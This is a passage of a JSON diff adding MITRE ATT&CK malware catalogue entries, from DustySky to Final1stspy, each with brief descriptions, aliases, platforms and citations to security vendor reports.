"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:41.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DustySky", + "x_mitre_aliases": [ + "DustySky", + "NeD Worm" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)", + "id": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "external_references": [ + { + "external_id": "S0024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0024" + }, + { + "source_name": "Dyre", + "description": "(Citation: Symantec Dyre June 2015)" + }, + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:21:07.723Z", + "type": "malware", + "created": "2017-05-31T21:32:19.746Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Dyre", + "x_mitre_aliases": [ + "Dyre" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)", + "id": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "external_references": [ + { + "external_id": "S0064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0064" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:43.237Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ELMER", + "x_mitre_aliases": [ + "ELMER" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)", + "id": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "external_references": [ + { + "external_id": "S0377", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0377" + }, + { + "source_name": "Ebury", + "description": "(Citation: ESET Ebury Feb 2014)" + }, + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + }, + { + "source_name": "BleepingComputer Ebury March 2017", + "description": "Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux" + ], + "modified": "2019-04-26T20:14:18.000Z", + "type": "malware", + "created": "2019-04-19T16:40:24.922Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Ebury", + "x_mitre_contributors": [ + "Marc-Etienne M.L\u00e9veill\u00e9, ESET" + ], + "x_mitre_aliases": [ + "Ebury" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "id": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "external_references": [ + { + "external_id": "S0081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0081" + }, + { + "source_name": "Elise", + "description": "(Citation: Accenture Dragonfish Jan 2018)" + }, + { + "source_name": "BKDR_ESILE", + "description": "(Citation: Lotus Blossom Jun 2015)" + }, + { + "source_name": "Page", + "description": "(Citation: Lotus Blossom Jun 2015)" + }, + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-17T22:12:24.546Z", + "type": "malware", + "created": "2017-05-31T21:32:54.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Elise", + "x_mitre_aliases": [ + "Elise", + "BKDR_ESILE", + "Page" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)", + "id": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "external_references": [ + { + "external_id": "S0082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0082" + }, + { + "source_name": "Emissary", + "description": "(Citation: Lotus Blossom Dec 2015)" + }, + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:54.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Emissary", + "x_mitre_aliases": [ + "Emissary" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", + "id": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "external_references": [ + { + "external_id": "S0367", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0367" + }, + { + "source_name": "Emotet", + "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) " + }, + { + "source_name": "Geodo", + "description": "(Citation: Trend Micro Emotet Jan 2019)" + }, + { + "source_name": "Trend Micro Banking Malware Jan 2019", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "source_name": "Kaspersky Emotet Jan 2019", + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/" + }, + { + "source_name": "CIS Emotet Apr 2017", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "source_name": "Malwarebytes Emotet Dec 2017", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "ESET Emotet Nov 2018", + "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.", + "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/" + }, + { + "source_name": "Secureworks Emotet Nov 2018", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "CIS Emotet Dec 2018", + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + }, + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Red Canary Emotet Feb 2019", + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-06-28T15:25:28.858Z", + "type": "malware", + "created": "2019-03-25T18:35:14.353Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Emotet", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "x_mitre_aliases": [ + "Emotet", + "Geodo" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "id": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "external_references": [ + { + "external_id": "S0091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0091" + }, + { + "source_name": "Epic", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Tavdig", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Wipbot", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "WorldCupSec", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "TadjMakhal", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "x_mitre_version": "1.2", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-07-26T16:10:41.304Z", + "type": "malware", + "created": "2017-05-31T21:32:58.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Epic", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ], + "x_mitre_contributors": [ + "Martin Smolar, ESET" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)", + "id": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "external_references": [ + { + "external_id": "S0396", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0396" + }, + { + "source_name": "EvilBunny", + "description": "(Citation: Cyphort EvilBunny Dec 2014)" + }, + { + "source_name": "Cyphort EvilBunny Dec 2014", + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-07-01T18:16:32.917Z", + "type": "malware", + "created": "2019-06-28T17:40:32.217Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "EvilBunny", + "labels": [ + "malware" + ], + "x_mitre_aliases": [ + "EvilBunny" + ], + "x_mitre_contributors": [ + "ESET" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "id": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "external_references": [ + { + "external_id": "S0152", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0152" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "EvilGrab", + "x_mitre_aliases": [ + "EvilGrab" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) is multi-platform backdoor for Linux and Windows systems.(Citation: ESET TeleBots Oct 2018)", + "id": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "external_references": [ + { + "external_id": "S0343", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0343" + }, + { + "source_name": "Exaramel", + "description": "(Citation: ESET TeleBots Oct 2018)" + }, + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-24T21:14:11.790Z", + "type": "malware", + "created": "2019-01-30T15:10:03.894Z", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "name": "Exaramel", + "x_mitre_aliases": [ + "Exaramel" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)", + "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "external_references": [ + { + "external_id": "S0181", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0181" + }, + { + "source_name": "FALLCHILL", + "description": "(Citation: US-CERT FALLCHILL Nov 2017)" + }, + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FALLCHILL", + "x_mitre_aliases": [ + "FALLCHILL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)", + "id": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "external_references": [ + { + "external_id": "S0267", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0267" + }, + { + "source_name": "FELIXROOT", + "description": "(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)" + }, + { + "source_name": "GreyEnergy mini", + "description": "(Citation: ESET GreyEnergy Oct 2018)" + }, + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-30T13:42:08.715Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FELIXROOT", + "x_mitre_aliases": [ + "FELIXROOT", + "GreyEnergy mini" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "id": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "external_references": [ + { + "external_id": "S0036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0036" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:28.754Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FLASHFLOOD", + "x_mitre_aliases": [ + "FLASHFLOOD" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)", + "id": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "external_references": [ + { + "external_id": "S0173", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0173" + }, + { + "source_name": "FLIPSIDE", + "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FLIPSIDE", + "x_mitre_aliases": [ + "FLIPSIDE" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "id": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "external_references": [ + { + "external_id": "S0076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0076" + }, + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:52.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FakeM", + "x_mitre_aliases": [ + "FakeM" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", + "id": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "external_references": [ + { + "external_id": "S0171", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0171" + }, + { + "source_name": "Felismus", + "description": "(Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)" + }, + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + }, + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Felismus", + "x_mitre_aliases": [ + "Felismus" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", + "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "external_references": [ + { + "external_id": "S0182", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0182" + }, + { + "source_name": "FinFisher", + "description": "(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "FinSpy", + "description": "(Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "FireEye FinSpy Sept 2017", + "description": "Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "x_mitre_version": "1.2", + "x_mitre_platforms": [ + "Windows", + "Android" + ], + "modified": "2019-07-14T21:44:43.946Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FinFisher", + "x_mitre_aliases": [ + "FinFisher", + "FinSpy" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)", + "id": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "external_references": [ + { + "external_id": "S0355", + "source_name": "mitre-attack", + "url": 